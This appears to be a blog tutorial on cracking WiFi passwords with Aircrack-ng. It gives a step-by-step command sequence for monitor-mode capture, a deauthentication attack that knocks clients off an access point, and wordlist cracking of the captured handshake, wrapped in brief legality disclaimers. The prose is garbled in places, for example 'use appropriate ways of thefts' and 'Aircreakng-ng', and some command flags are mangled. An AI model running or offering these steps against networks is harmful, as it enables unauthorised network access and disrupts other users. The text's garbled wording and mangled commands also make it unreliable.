WiFi Password Cracking: A Step-by-Step Guide

Introduction:

Today’s world demands that we live in connectivity therefore need to be connected through Wifi networks. However, if you do not remember a password of Wi-Fi or want just check your net-working security? In this article, I will explain how the best WiFi password hacking is done with help of Aircrack-ng –the ethical hacking tool. Over this we will have a look one by one allowing you get an insight on understanding of Wi-Fi securities.

WiFi security types:

• WEP (Wired Equivalent Privacy)

• WPA (WiFi Protected Access)

• WPA2 and WPA3

• Open networks

Legal and Ethical Considerations:

There might be legal consequences of hacking WiFi passwords. Here, I will analyze why ethical hacking is important and about getting right permission.

WIFI Hacking Process using AirCrack-ng

Description:

Aircrack-ng A Tool for Evaluation of Wifi Network Security. It focuses on different areas of WiFi security

• Monitoring : monitor the network by capturing packets and converting them into text files that can be processed using external tools at later stages.

• Attacking : The replay attacks, deauthentication, and spoofed packets using packet injection. 

• Testing : Capture and Injection – Verify WiFi card and driver capabilities.

• Cracking : WEP & WPA PSK.

Requirements:

• Kali Linux ( OS Used for Security ) Used by Professionals Visit: https://www.kali.org/

• AirCrack-ng Tool Installation

• Workstation PC Machine ( Used for Security Analyst )

• WIFI-LAN Card

Steps With AirCrack-ng

• $ sudo airmon-ng start wlan0

• $ sudo airmon-ng check kill

• $ iwconfig

• $ sudo aireplay-ng –test wlan0

• $ sudo airodump-ng <wifi-card-in-monitor-mode>

• $ sudo airodump-ng wlan0

• $ sudo airodump-ng –bssid <MAC-of-AccessPoint> –channel <channel-number> –write <name-of-file> <card-name>

• $ sudo airodump-ng –bssid 17:5A:78:5B:AE:56 –channel 1 –write mrstestwifiPackets wlan0

• $ sudo aireplay-ng –deauth 50 -a <BSSID-MAC> <Wireless-Card>

• $ sudo aireplay-ng –deauth 50 -a 17:5A:78:5B:AE:56 wlan0

• $ sudo aircrack-ng <packet-file-name> -w <wordlist_path>

• $ sudo aircrack-ng mrstestwifiPackets.cap -w /usr/share/wordlists/rockyou.txt

FAQS.

1. Can I use this knowledge for securing my network?
Absolutely. You can achieve this through effective network security, which is about understanding hackers’ operations.

2. Is it dangerous to crack Wi-Fi passwords?
Of course, it is possible to punish for breaking into secured Wi-fi password unless the person is authorized to do so. Keep to the rule of law at all times.

3. What is the process for authorizing ethical hacking?
Contact network owners/administrators to seek authorization to carry ethical hacking.

4. Can All WiFi Passwords be cracked?
However, not all passwords are susceptible. Some networks on the other hand are quite safe due to strong passwords and encryption protocols.

5. Will I be punished for revealing vulnerabilities?
However, rather than this, the cyber security community embraces the notion of responsible disclosure of vulnerabilities.

6. Is hacking WiFi passwords legal?
It is an offense to hack into other people’s WiFi passwords. First, a hacker must always get permission.

Conclusion:

This has been explained through Aircreakng-ng by in a nutshell the World of Wi Fi Password Hacking. Recall, power implies responsibility too. Make sure that you get permission when required and use appropriate ways of thefts. Knowing about Wifi security and its weaknesses will make you more secure with your network and provide some safety measure in the cyber environment.
